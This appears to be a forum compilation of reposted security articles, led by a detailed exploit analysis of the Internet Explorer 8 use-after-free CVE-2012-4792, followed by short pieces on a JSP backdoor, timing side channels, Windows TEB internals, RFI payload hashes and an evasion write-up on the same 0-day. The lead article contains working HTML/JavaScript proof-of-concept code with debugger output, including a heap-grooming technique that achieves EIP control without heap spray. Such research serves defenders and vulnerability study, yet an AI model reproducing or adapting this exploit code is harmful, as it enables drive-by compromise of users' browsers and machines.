mshtml!CDoc::operator new function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location. Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: "c:\Program Files\Internet Explorer\iexplore.exe" http://127.0.0.1/crash.html Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols Executable search path is: ModLoad: 00400000 0049c000 iexplore.exe ModLoad: 7c900000 7c9b2000 ntdll.dll ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll ModLoad: 3dfd0000 3e1bb000 C:\WINDOWS\system32\iertutil.dll ModLoad: 78130000 78263000 C:\WINDOWS\system32\urlmon.dll ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll (8b0.770): Break instruction exception - code 80000003 (first chance) eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!DbgBreakPoint: 7c90120e cc int 3 0:000> sxe ld:mshtml 0:000> g Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols Executable search path is: (4d8.398): Break instruction exception - code 80000003 (first chance) eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!DbgBreakPoint: 7c90120e cc int 3 1:014> g ModLoad: 3cea0000 3d45e000 C:\WINDOWS\system32\mshtml.dll eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000 eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 7c90e514 c3 ret 1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g" 1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g" 1:023> bp !mshtml + 0x129f0 1:023> bl 0 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g" 1 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g" 2 e 3ceb29f0 0001 (0001) 1:**** mshtml!CDoc::operator new+0x13 1:023> sxe ld:jscript 1:023> g Breakpoint 2 hit eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000 eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CDoc::operator new+0x13: 3ceb29f0 c3 ret 1:023> ba w4 eax + 0x1A8 1:023> g ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000 eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 7c90e514 c3 ret 1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" 1:023> g before get element a before get element b before create element q before apply element e1( -> e2(q) before appendChild create element button Created CButton at 055a2fa8 Breakpoint 3 hit eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8 eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CElement::SetDefaultElem+0x85: 3d07da88 5e pop esi 1:023> ub mshtml!CElement::SetDefaultElem+0x72: 3d07da75 85c0 test eax,eax 3d07da77 740f je mshtml!CElement::SetDefaultElem+0x85 (3d07da88) 3d07da79 6a01 push 1 3d07da7b 8bc7 mov eax,edi 3d07da7d e8d5b7ebff call mshtml!CElement::IsVisible (3cf39257) 3d07da82 85c0 test eax,eax 3d07da84 7402 je mshtml!CElement::SetDefaultElem+0x85 (3d07da88) 3d07da86 893e mov dword ptr [esi],edi 1:023> kv ChildEBP RetAddr Args to Child 0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85 0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb 0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3 0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a 0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f 0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1 0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c 0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39 1:023> dc edi L58/4 055a2fa8 3cf70d10 00000003 00000008 055a4fe8 ...<.........OZ. 055a2fb8 029e5e00 05584fb0 00000012 80096200 .^...OX......b.. 055a2fc8 00000006 04c8cf28 3cf782e0 00000000 ....(...... dds edi L1 055a2fa8 3cf70d10 mshtml!CButton::`vftable' It looks like the CElement::SetDefaultElem ‘forgets’ to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object. Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the BinVul.com blogpost by @h4ckmp who came to mostly the same conclusions as I did. Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code. e0 = document.getElementById("a"); Get a reference to the form object e1 = document.getElementById("b"); Get a reference to the dfn object e2 = document.createElement("q"); Create a ‘Q’ element e1.applyElement(e2); Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFN e1.appendChild(document.createElement('button')); We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTON e1.applyElement(e0); We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTON e2.outerText = ""; And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again. e2.appendChild(document.createElement('body')); This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn’t come up with an easy explanation. Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don’t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue. To test this I created the following POC <!doctype html< <html< <head< <script< function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); e_div.appendChild(document.createElement('button')) e_div.firstChild.applyElement(e_form); e_div.innerHTML = "" e_div.appendChild(document.createElement('body')); CollectGarbage(); } </script< </head< <div id="divelm"<</div< <body onload="eval(helloWorld())"< <form id="formelm"< </form< </body< </html< And yes, this causes the same problem. After running this through windbg with some log messages we get the following result 0:000> sxe ld:mshtml 0:000> g 1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g" 1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g" 1:023> bp !mshtml + 0x129f0 1:023> g Breakpoint 2 hit eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000 eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CDoc::operator new+0x13: 3ceb29f0 c3 ret 1:023> ba w4 eax + 0x1A8 ".printf \"Just added the Default Element\";.echo;g" 1:023> sxe ld:jscript 1:023> g ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll 1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" 1:023> g before creating the button and adding it to the div element Created CButton at 05748fa8 Just added the Default Element before adding button to Form before clearing out the div innerHTML adding body element to the div collecting garbage Deleting CButton at 05748fa8 Done collecting garbage (ca4.6b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8 eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4ef: 3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05748fa8=???????? You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward Exploitation Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the Low Fragmentation Heap. This will make replacing the freed memory much more reliable because the LFH does not merge coalescent free blocks and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0×58 (see CButton::CreateElement) so all we need to do is create an allocation of that size and we will refill the freed memory space. To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote Valasek: “The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.“ Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached. We added some code to enable the LFH for the CButton element and the added code to replace the freed memory. <!doctype html> <html> <head> <script> function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); for(i =0; i < 20; i++) { document.createElement('button'); } Math.atan2(0xbadc0de, "before creating the button and adding it to the div element") e_div.appendChild(document.createElement('button')) Math.atan2(0xbadc0de, "before adding button to Form") e_div.firstChild.applyElement(e_form); Math.atan2(0xbadc0de, "before clearing out the div innerHTML") e_div.innerHTML = "" Math.atan2(0xbadc0de, "adding body element to the div") e_div.appendChild(document.createElement('body')); Math.atan2(0xbadc0de, "collecting garbage") CollectGarbage(); e_div.className = "\u2424\u2424exodusintel.com--------------------------"; Math.atan2(0xbadc0de, "Done collecting garbage") } </script> </head> <body onload="eval(helloWorld())"> <div id="divelm"></div> <form id="formelm"> </form> </body> </html> running this results in the following crash (f90.bd4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088 eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CMarkup::OnLoadStatusDone+0x504: 3d086271 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:24242500=???????? 1:025> dc edi 00235088 24242424 00780065 0064006f 00730075 $$$$e.x.o.d.u.s. 00235098 006e0069 00650074 002e006c 006f0063 i.n.t.e.l...c.o. 002350a8 002d006d 002d002d 002d002d 002d002d m.-.-.-.-.-.-.-. 002350b8 002d002d 002d002d 002d002d 002d002d -.-.-.-.-.-.-.-. 002350c8 002d002d 002d002d 002d002d 002d002d -.-.-.-.-.-.-.-. 002350d8 002d002d 0000002d eaa7c6ac ff0c0100 -.-.-........... 002350e8 3cf74690 0021f728 002347f8 3cf77870 .F.<(.!..G#.px.< 002350f8 00000001 00000000 01000808 ffffffff ................ Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don't need to force memory disclosure to bypass ASLR and we can rely on a module that doesn't opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn't apply to IE9 I dont mind dropping it here. Internet Explorer 8 has support for HTML+TIME which is based on the Synchronized Multimedia Integration Language (SMIL) something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all. For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn't work as expected. <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> . . . <t:ANIMATECOLOR id="myanim"/> . . . by setting the 'values' property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values. animvalues = "\u4141\u4141" while(animvalues.length < 0xDC) { animvalues += animvalues } for(i = 0; i < 21; i++) { animvalues += ";cyan"; } Then we can set the values property to this string and voila, we control EIP directly try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {} Because the values are suposed to be legit colors you need to do this in a try-except construct so you don't throw an error and stop the execution of the script. Also, doing this will create some 'noise' with additional allocations being made, but nothing that isn't controllable. Adding this we get the following POC: <!doctype html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> <script> function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); animvalues = "\u4141\u4141" while(animvalues.length < 0xDC) { animvalues += animvalues } for(i = 0; i < 21; i++) { animvalues += ";cyan"; } for(i =0; i < 20; i++) { document.createElement('button'); } e_div.appendChild(document.createElement('button')) e_div.firstChild.applyElement(e_form); e_div.innerHTML = "" e_div.appendChild(document.createElement('body')); CollectGarbage(); try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {} } </script> </head> <body onload="eval(helloWorld())"> <t:ANIMATECOLOR id="myanim"/> <div id="divelm"></div> <form id="formelm"> </form> </body> </html> Running this results in: (fbc.a28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880 eip=41414141 esp=0162d798 ebp=0162d80c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 41414141 ?? ??? 1:028> dc eax 001bb0f8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb108 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb118 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb128 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb138 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb148 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb158 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb168 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 1:028> dc edi 00235880 001bb0f8 02367fc8 02367fe0 0018ec10 ......6...6..... 00235890 0019eff0 0019f008 0019f020 0019f038 ........ ...8... 002358a0 0019f050 0019f068 0019f080 0019f098 P...h........... 002358b0 0019f0b0 0019f0c8 0019f0e0 0019f0f8 ................ 002358c0 0019f110 0019f128 0019f140 0019f158 ....(...@...X... 002358d0 0019f170 0019f188 eaa4d113 ff0c0100 p............... 002358e0 3cf74690 0021fac0 00234b90 3cf77870 .F.<..!..K#.p 1:028> dc poi(edi+10) 0019eff0 00790063 006e0061 50540000 302e312f c.y.a.n...TP/1.0 0019f000 e88f2258 ff0e0120 00790063 006e0061 X".. ...c.y.a.n. 0019f010 6d690000 48656c70 e88f225b ff0e0130 ..impleH["..0... 0019f020 00790063 006e0061 0a0d0000 65746144 c.y.a.n.....Date 0019f030 e88f225e ff0e0164 00790063 006e0061 ^"..d...c.y.a.n. 0019f040 30200000 37353a31 e88f2251 ff0e0147 .. 01:57Q"..G... 0019f050 00790063 006e0061 70790000 74203a65 c.y.a.n...ype: t 0019f060 e88f2254 ff0e0168 00790063 006e0061 T"..h...c.y.a.n. From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that. Conclusion This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn't require heapspray, but all in all this bug can be exploited quite reliably. If you are interested in analyzing vulnerabilities and writing exploits for them you can take a look at our training, which will focus on IE9. It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at info@exodusintel.com. - Peter Vreugdenhil Exodus Inteligence Sursa: Happy New Year Analysis of CVE-2012-4792
-
Researchers find malware targeting Java HTTP servers he malware has backdoor functionality and runs as a JavaServer Page (JSP) file By Lucian Constantin December 28, 2012 08:19 AM ET IDG News Service - Security researchers from antivirus vendor Trend Micro have uncovered a piece of backdoor-type malware that infects Java-based HTTP servers and allows attackers to execute malicious commands on the underlying systems. The threat, known as BKDR_JAVAWAR.JG, comes in the form of a JavaServer Page (JSP), a type of Web page that can only be deployed and served from a specialized Web server with a Java servlet container, such as Apache Tomcat. Once this page is deployed, the attacker can access it remotely and can use its functions to browse, upload, edit, delete, download or copy files from the infected system using a Web console interface. This is similar to the functionality provided by PHP-based backdoors, commonly known as PHP Web shells. "Aside from gaining access to sensitive information, an attacker gains control of the infected system thru the backdoor and can carry out more malicious commands onto the vulnerable server," Trend Micro researchers said Thursday in a blog post. This JSP backdoor can be installed by other malware already running on the system that hosts the Java-based HTTP server and Java servlet container or can be downloaded when browsing to malicious websites from such a system. According to Trend Micro's technical notes, the malwaretargets systems running Windows 2000, Windows Server 2003, Windows XP, Windows Vista and Windows 7. "Another possible attack scenario is when an attacker checks for websites powered by Apache Tomcat then attempts to access the Tomcat Web Application Manager," the Trend Micro researchers said. "Using a password cracking tool, cybercriminals are able to login and gain manager/administrative rights allowing the deployment of Web application archive (WAR) files packaged with the backdoor to the server." In order to protect their servers from such threats, administrators should use strong passwords that cannot be easily cracked by using brute force tools, should deploy all security updates available for their systems and software and should avoid visiting unknown and untrusted websites, the Trend Micro researchers said. Sursa: Researchers find malware targeting Java HTTP servers - Computerworld
-
Time Is Not On Your Side Description: TIME IS NOT ON YOUR SIDE Mitigating Timing Side Channels on the Web In this year’s talk, I tie on my 28c3 talk and present timing side channels from a defending viewpoint: How can one mitigate timing side channels? Aren’t random delays sufficient to prevent timing side channels in practice? What is the minimum size of random delays to be effective? Are there other delay strategies besides random delays that are more effective and efficient? Timing side channels are vulnerabilities in software applications that leak sensitive information about secret values such as cryptographic keys. They differ from common intrusive vulnerabilities such as Buffer Overflows or SQL-Injection because the attacker sends normally looking requests to the server and infers secret information just from the time it took to process the request. Timing attacks are getting increasingly well understood by day-to-day penetration testers and in academia, breaking Web standards such as XML Encryption [1], or helping to fingerprint Web Application Firewalls [2]. At 28c3, I gave the talk “Time is on my Side” [3], which gave an overview of timing attacks, introduced a set of tools for timing attacks and explained practical timing attacks against real applications. In this year’s talk, I tie on my 28c3 talk and present timing side channels from a defending viewpoint: How can one mitigate timing side channels? Aren’t random delays sufficient to prevent timing side channels in practice? What is the minimum size of random delays to be effective? Are there other delay strategies besides random delays that are more effective and efficient? I am going to present the state-of-the-art of timing side channel mitigation. Furthermore, I show the results of a practical evaluation of the timing attack mitigations. [1]: Bleichenbacher's Attack Strinkes Again: Breaking PKCS#1 v1.5 in XML Encryption. Tibor Jager, Sebastian Schinzel, Juraj Somorovsky. 17th European Symposium on Research in Computer Security (ESORCIS 2012), Veröffentlichungen - Ruhr-Universität Bochum [2]: WAFFle: Fingerprinting Filter Rules of Web Application Firewalls, Isabell Schmitt, Sebastian Schinzel, https://www.usenix.org/conference/woot12/waffle-fingerprinting-filter-rules-web-application-firewalls [3]: Time is on my Side. Sebastian Schinzel. 28C3: Time is on my Side PDF : - http://events.ccc.de/congress/2012/Fahrplan/attachments/2235_29c3-schinzel.pdf Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Time Is Not On Your Side
-
[h=1]KERNEL: Creation of Thread Environment Block (TEB)[/h] //http://waleedassar.blogspot.com //http://www.twitter.com/waleedassar The following demonstrates the allocation and creation of Thread Environment Blocks (TEB) in 64-bit versions of Windows e.g. Windows 7. This takes place in the "MmCreateTeb" function. This function is responsible for most of the TEB stuff, which is as follows: A) It determines whether the process is native (64-bit) or Wow64 (32-bit) by querying the "Wow64Process" field of the "_EPROCESS" structure. In case of Wow64 Processes, this field holds the address of the process's 32-bit Process Environment Block (PEB). On the other hand, this field is zero in case of native 64-bit processes. N.B. In case of Wow64 Processes, each process has two Process Environment Blocks (PEB), a 64-bit PEB and a 32-bit PEB. And each thread has two Thread Environment Blocks (TEB), a 64-bit TEB and a 32-bit TEB. fffff800`035cf2d2 4c8bb920030000 mov r15,qword ptr [rcx+320h] It attaches to the address space of the target process by calling the "KeStackAttachProcess" function. fffff800`035cf2e4 488d542428 lea rdx,[rsp+28h] fffff800`035cf2e9 e8c23cd4ff call nt!KeStackAttachProcess (fffff800`03312fb0) C) It calls the "MiCreatePebOrTeb" function to allocate space. Either 0x2000 (2 pages, in case of native64 thread) or 0x3000 (3 pages, in case of Wow64 thread). The characteristics of new pages are: Allocation Type : MEM_COMMIT Memory Type : MEM_PRIVATE Protection : PAGE_READWRITE Protection Changeable: FALSE fffff800`035cf2ee 4c8d8c2490000000 lea r9,[rsp+90h] fffff800`035cf2f6 448bc3 mov r8d,ebx fffff800`035cf2f9 488bd7 mov rdx,rdi fffff800`035cf2fc 498bce mov rcx,r14 fffff800`035cf2ff e8fc0e0000 call nt!MiCreatePebOrTeb (fffff800`035d0200) D) It stores the following info. in fields of the 64-bit TEB. 1) 0x1E00 in the "Version" field of the "_NT_TIB" structure. 2) Self pointer in the "Self" field of the "_NT_TIB" structure. 3) Pointer to corresponding 64-bit PEB in the "ProcessEnvironmentBlock" field. 4) Client ID (Process Id + Thread Id) in the "ClientId" field. 5) Client ID (Process Id + Thread Id) in the "RealClientId" field. 6) Value of stack base in the "StackBase" field of the "_NT_TIB" structure. 7) Value Of stack limit in the "StackLimit" field of the "_NT_TIB" structure. 8) Address at which stack has been allocated in the "DeallocationStack" field. 9) Initializes the "StaticUnicodeString" UNICODE_STRING with 0x020A as maximum length. 10) The value of nt!BBTBuffer in the "ReservedForPerf" field. 11) TXF_MINIVERSION_DEFAULT_VIEW in the "TxFsContext" field. 12) If it is a native64 process, zero is written to the "ExceptionList" field of "NT_TIB". else if it is a Wow64 process, the address of 32-bit TEB is written to the "ExceptionList" field and then starts to copy/write to the 32-bit TEB the following info: 1') 0xFFFFFFFF in the "ExceptionList" field of NT_TIB since no handlers have been set. 2') Copy the "Version" field from the 64-bit TEB. 3') Self pointer in the "Self" field of the "_NT_TIB" structure. 4') Pointer to corresponding 32-bit PEB in the "ProcessEnvironmentBlock" field. 5') Copy Client ID (Process Id + Thread Id) from 64-bit TEB. 6') Copy Client ID (Process Id + Thread Id) from 64-bit TEB. 7') Initializes the "StaticUnicodeString" UNICODE_STRING with 0x020A as maximum length. 8') Store the address of corresponding 64-bit TEB at offset 0xF70. 9') Copy the "Vdm" field from the 64-bit TEB. 10') TXF_MINIVERSION_DEFAULT_VIEW in the "TxFsContext" field. 11') Value of stack base in the "StackBase" field of the "_NT_TIB" structure. 12') Value Of stack limit in the "StackLimit" field of the "_NT_TIB" structure. 13') Address at which 32-bitstack has been allocated in the "DeallocationStack" field. E) It detaches from the address space of the target process by calling the "KeUnstackDetachProcess" function. Sursa: KERNEL: Creation of Thread Environment Block (TEB) - Pastebin.com
-
How To Use BSD To Setup A Firewall/Gateway [TABLE=class: datatable] [TR] [TD=class: highlight]Linked to[/TD] [TD=class: lowlight] [Audio] How To Use BSD To Setup A Firewall/Gateway [/TD] [/TR] [TR] [TD=class: highlight]Event[/TD] [TD=class: lowlight] DEFCON 7[/TD] [/TR] [/TABLE] [TABLE=class: datatable] [TR] [TD=class: highlight, colspan: 2]Download[/TD] [/TR] [TR] [TD=class: highlight]Source[/TD] [TD=class: lowlight]DEF%20CON%207%20Hacking%20Conference%20Presentation%20By%20Cyber%20-%20How%20To%20Use%20BSD%20Set%20Up%20A%20Firewall%20-%20Video.m4v[/TD] [/TR] [TR] [TD=class: highlight]Size[/TD] [TD=class: lowlight]112.5 MB[/TD] [/TR] [/TABLE] Download: https://media.defcon.org/dc-7/video/DEF%20CON%207%20Hacking%20Conference%20Presentation%20By%20Cyber%20-%20How%20To%20Use%20BSD%20Set%20Up%20A%20Firewall%20-%20Video.m4v Sursa: IT Security and Hacking knowledge base - SecDocs
-
IPv6: Who/What/When/Where/How/Why [TABLE=class: datatable] [TR] [TD=class: highlight, colspan: 2]Download[/TD] [/TR] [TR] [TD=class: highlight]Source[/TD] [TD=class: lowlight]DEF%20CON%207%20Hacking%20Conference%20Presentation%20By%20Dr%20Byte%20-%20Ipv6%20Who%20What%20When%20Where%20How%20Why%20-%20Audio.m4b[/TD] [/TR] [TR] [TD=class: highlight]Size[/TD] [TD=class: lowlight]12.7 MB[/TD] [/TR] [/TABLE] Download: https://media.defcon.org/dc-7/audio/DEF%20CON%207%20Hacking%20Conference%20Presentation%20By%20Dr%20Byte%20-%20Ipv6%20Who%20What%20When%20Where%20How%20Why%20-%20Audio.m4b
-
[h=1]Known RFI Payload Reference Hashes[/h] One of the attacks we see the most when running a WordPress based blog, or really any web service, is RFI attacks. The attackers try to abuse poorly designed software or configurations to run their code on our servers. These vulnerabilities have become strangely common due lazy/greedy developers copy and pasting insecure code into their plugins/themes and not properly updating them when vulnerabilities are found. The most common is the TimThumb attack. You can see the details of this attack here in an article written by MaXe(@intern0t), who was researching a lot of botnets based on this exploit along side me when researching for Insecurity of Poorly Designed Remote File Inclusion Vulnerabilities: Pt 1. In this attack(and quite a few others), the payloads are stored as an MD5 of the URL to the payload. It is actually so common, that quite a few of them can be googled, and live versions of these payloads can be found on servers. If you have the source code to those payloads(some of which are stored at my decoder) you can then use those payloads to remove the infection from that server(might not be legal depending on your country of residence). Also, you can use a list of the hashes of the known URLs to make sure your system is not compromised. Since I have been archiving every RFI payload that shows up on my WAF, in Attack Scanner, every one I get from Irongeek’s Webshell and RFI collection, then any submitted by any site running any of the scripts I’ve put out to collect these shells, I decided that I should release a list of these hashes, since I was basically already storing them with a very similar naming scheme. For the first version of the list, I just put them up on pastebin. I figure at some later point when I have more storage, I will incorporate it into the decoder and make a full API for querying the lists of data, as well as more information from the decoder itself. RFI Payload Locations .php was appended to make searching for the files on your file system easier. Sursa: https://www.ballastsecurity.net/php/known-rfi-payload-reference-hashes/
-
[h=3]Internet Explorer - 2012 Last Minute 0-Day[/h] Using Zero Days attacks at end of the year are not the most considerate thing to do for the security industry…. needless to say that the recent discovery of the attack, that was using Internet Explorer 0-day (CVE-2012-4792) found on the Council Foreign Relations (CFR) portal, has interrupted the holiday vacation of many people in the industry that had to quickly respond to the new security threat. Probably one of the reasons for launching new attacks during holiday periods is because of the belief that IT administrators and the security industry will be slower to respond. The attackers have put lots of effort to evade detection and make the attack successful– first, of course, by using the zero-day (an unpatched and unknown security flow) and secondly by using evasion techniques to avoid detection by security tools. On this post I will highlight some interesting measures taken by the attackers. From the samples we received, the html page that executes the attack didn’t include the exploit code of CVE-2012-4792 itself but instead it uses AJAX to retrieve an obfuscated java script string from a file: Figure1: Retrieving the exploit code using AJAX, deobfuscating it and executing the code using eval This technique is mainly used for evading security tools that statically scan pages. For more details about evasion technique using AJAX please read this post. Another interesting thing to pay attention for is the name of the file that includes the obfuscated string: “robots.txt”. This file is usually used by web server owners to give instructions to web robots/crawlers about theirs sites. I assume that using a file that no one suspects and that possibly is not scanned by some security tools could be another way of evading detection. The attackers have also used a flash file (today.SWF) to JIT-spray the memory with a shellcode. They use several techniques to circumvent ASLR and DEP protections according to the spec of the victim's machine (browser and plugins combo). They bypass ASLR, for example, using java6 MSVC71.DLL or Office hxdx.dll. The ActionScript within the flash file refers to the parent html page in order to get the data about the victim and then executes the relevant spray. This DOM-to-ActionScript interaction potentially makes some security engines lose orientation and probably fail detection. Figure 2: ActionScript code snippet referring to the parent html page. Microsoft has released on December 31st a fix-it tool to prevent the vulnerability from being exploited. Customers of TrustWave Secure Web Gateway are protected against the attack used in CFR by blocking the flash file that is using the heap spray and also against the Metasploit module that was recently developed by blocking the the html page that is also spraying the memory. I would like to thank to 